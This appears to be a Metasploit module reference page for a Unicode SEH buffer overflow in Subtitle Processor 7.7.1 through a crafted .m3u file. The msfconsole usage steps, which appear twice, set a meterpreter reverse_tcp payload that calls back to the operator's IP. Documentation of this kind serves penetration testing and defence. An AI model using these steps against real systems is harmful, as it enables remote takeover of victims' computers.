Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow
This module exploits a vulnerability found in Subtitle Processor 7. By supplying a long string of data as a .m3u file, Subtitle Processor first converts this input in Unicode, which expands the string size, and then attempts to copy it inline on the stack. This results a buffer overflow with SEH overwritten, allowing arbitrary code execution.
Exploit Rank
- Normal
Exploit Authors
- Brandon Murphy < >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP3 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/fileformat/subtitle_processor_m3u_bof
msf exploit(subtitle_processor_m3u_bof) > show payloads
msf exploit(subtitle_processor_m3u_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(subtitle_processor_m3u_bof) > set LHOST [MY IP ADDRESS]
msf exploit(subtitle_processor_m3u_bof) > exploit
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msf > use exploit/windows/fileformat/subtitle_processor_m3u_bof
msf exploit(subtitle_processor_m3u_bof) > show payloads
msf exploit(subtitle_processor_m3u_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(subtitle_processor_m3u_bof) > set LHOST [MY IP ADDRESS]
msf exploit(subtitle_processor_m3u_bof) > exploit
Exploit Module Options
| FILENAME | M3U filename (default: msf.m3u) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |